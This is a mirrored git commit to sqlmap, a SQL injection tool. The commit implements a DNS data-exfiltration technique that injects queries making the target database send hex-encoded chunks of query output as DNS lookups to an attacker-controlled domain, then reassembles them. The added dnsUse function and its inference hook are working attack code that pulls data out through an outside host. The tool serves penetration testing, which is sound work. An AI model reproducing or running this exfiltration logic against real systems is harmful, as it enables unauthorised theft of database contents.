mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-02-03 05:04:11 +03:00
further update of DNS data retrieval mechanism through SQLi
This commit is contained in:
parent
1e01203562
commit
1cd3c3f7af
|
@ -261,7 +261,7 @@ class Agent:
|
|||
if 'hex' in rootQuery:
|
||||
hexField = rootQuery.hex.query % field
|
||||
else:
|
||||
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
|
||||
warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms()
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
return hexField
|
||||
|
|
|
@ -1613,7 +1613,7 @@ def getSPLSnippet(dbms, name, **variables):
|
|||
for _ in variables.keys():
|
||||
retVal = re.sub(r"%%%s%%" % _, variables[_], retVal)
|
||||
|
||||
_ = re.search(r"%([^%]+)%", retVal, re.I)
|
||||
_ = re.search(r"%(\w+)%", retVal, re.I)
|
||||
if _:
|
||||
errMsg = "unresolved variable '%s' in SPL snippet '%s'" % (_.group(1), name)
|
||||
raise sqlmapGenericException, errMsg
|
||||
|
|
|
@ -1437,6 +1437,7 @@ def __setKnowledgeBaseAttributes(flushAll=True):
|
|||
|
||||
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
|
||||
kb.dep = None
|
||||
kb.dnsMode = False
|
||||
kb.docRoot = None
|
||||
kb.dumpMode = False
|
||||
kb.dynamicMarkings = []
|
||||
|
|
|
@ -472,3 +472,6 @@ MAX_SINGLE_URL_REDIRECTIONS = 4
|
|||
|
||||
# Maximum total number of redirections (regardless of URL) - before assuming we're in a loop
|
||||
MAX_TOTAL_REDIRECTIONS = 10
|
||||
|
||||
# Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm
|
||||
MAX_DNS_LABEL = 63
|
||||
|
|
|
@ -48,29 +48,36 @@ from lib.core.threads import getCurrentThreadData
|
|||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.request.direct import direct
|
||||
from lib.techniques.union.use import unionUse
|
||||
from lib.techniques.blind.inference import bisection
|
||||
from lib.techniques.dns.use import dnsUse
|
||||
from lib.techniques.error.use import errorUse
|
||||
from lib.techniques.union.use import unionUse
|
||||
from lib.utils.resume import queryOutputLength
|
||||
from lib.utils.resume import resume
|
||||
|
||||
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False):
|
||||
start = time.time()
|
||||
value = None
|
||||
count = 0
|
||||
|
||||
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
|
||||
if conf.dnsDomain:
|
||||
value = dnsUse(payload, expression)
|
||||
|
||||
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare:
|
||||
_, length, _ = queryOutputLength(expression, payload)
|
||||
else:
|
||||
length = None
|
||||
if value is None:
|
||||
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
|
||||
|
||||
kb.inferenceMode = True
|
||||
count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump)
|
||||
kb.inferenceMode = False
|
||||
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare:
|
||||
_, length, _ = queryOutputLength(expression, payload)
|
||||
else:
|
||||
length = None
|
||||
|
||||
if not kb.bruteMode:
|
||||
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
|
||||
logger.debug(debugMsg)
|
||||
kb.inferenceMode = True
|
||||
count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump)
|
||||
kb.inferenceMode = False
|
||||
|
||||
if not kb.bruteMode:
|
||||
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
|
||||
logger.debug(debugMsg)
|
||||
|
||||
return value
|
||||
|
||||
|
|
|
@ -7,10 +7,95 @@ Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
|
|||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
def dnsUse(expression, expected=None, dump=False):
|
||||
import re
|
||||
import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import calculateDeltaSeconds
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import decodeHexValue
|
||||
from lib.core.common import extractRegexResult
|
||||
from lib.core.common import getSPLSnippet
|
||||
from lib.core.common import hashDBRetrieve
|
||||
from lib.core.common import hashDBWrite
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import safecharencode
|
||||
from lib.core.common import safeStringFormat
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import MAX_DNS_LABEL
|
||||
from lib.core.settings import PARTIAL_VALUE_MARKER
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
def dnsUse(payload, expression):
|
||||
"""
|
||||
Retrieve the output of a SQL query taking advantage of the DNS
|
||||
resolution mechanism by making request back to attacker's machine.
|
||||
"""
|
||||
|
||||
raise NotImplementedError
|
||||
start = time.time()
|
||||
|
||||
retVal = None
|
||||
count = 0
|
||||
offset = 1
|
||||
|
||||
if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE):
|
||||
output = hashDBRetrieve(expression, checkConf=True)
|
||||
if PARTIAL_VALUE_MARKER in output:
|
||||
output = None
|
||||
|
||||
if output is None:
|
||||
kb.dnsMode = True
|
||||
|
||||
while True:
|
||||
count += 1
|
||||
prefix, suffix = ("%s" % randomStr(3) for _ in xrange(2))
|
||||
chunk_length = MAX_DNS_LABEL / 2
|
||||
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
|
||||
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
|
||||
nulledCastedField = agent.hexConvertField(nulledCastedField)
|
||||
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
||||
|
||||
expressionRequest = getSPLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
|
||||
expressionUnescaped = unescaper.unescape(expressionRequest)
|
||||
|
||||
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
|
||||
Request.queryPage(forgedPayload, content=False, raise404=False)
|
||||
|
||||
_ = conf.dnsServer.pop(prefix, suffix)
|
||||
if _:
|
||||
_ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
|
||||
_ = decodeHexValue(_)
|
||||
output = (output or "") + _
|
||||
offset += len(_)
|
||||
if len(_) < chunk_length:
|
||||
break
|
||||
else:
|
||||
break
|
||||
|
||||
kb.dnsMode = False
|
||||
|
||||
if output is not None:
|
||||
retVal = output
|
||||
dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
|
||||
hashDBWrite(expression, output)
|
||||
|
||||
if not kb.bruteMode:
|
||||
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
|
||||
logger.debug(debugMsg)
|
||||
|
||||
elif conf.dnsDomain:
|
||||
warnMsg = "DNS data exfiltration method through SQL injection "
|
||||
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
conf.dnsDomain = None
|
||||
|
||||
return retVal
|
||||
|
|
Loading…
Reference in New Issue
Block a user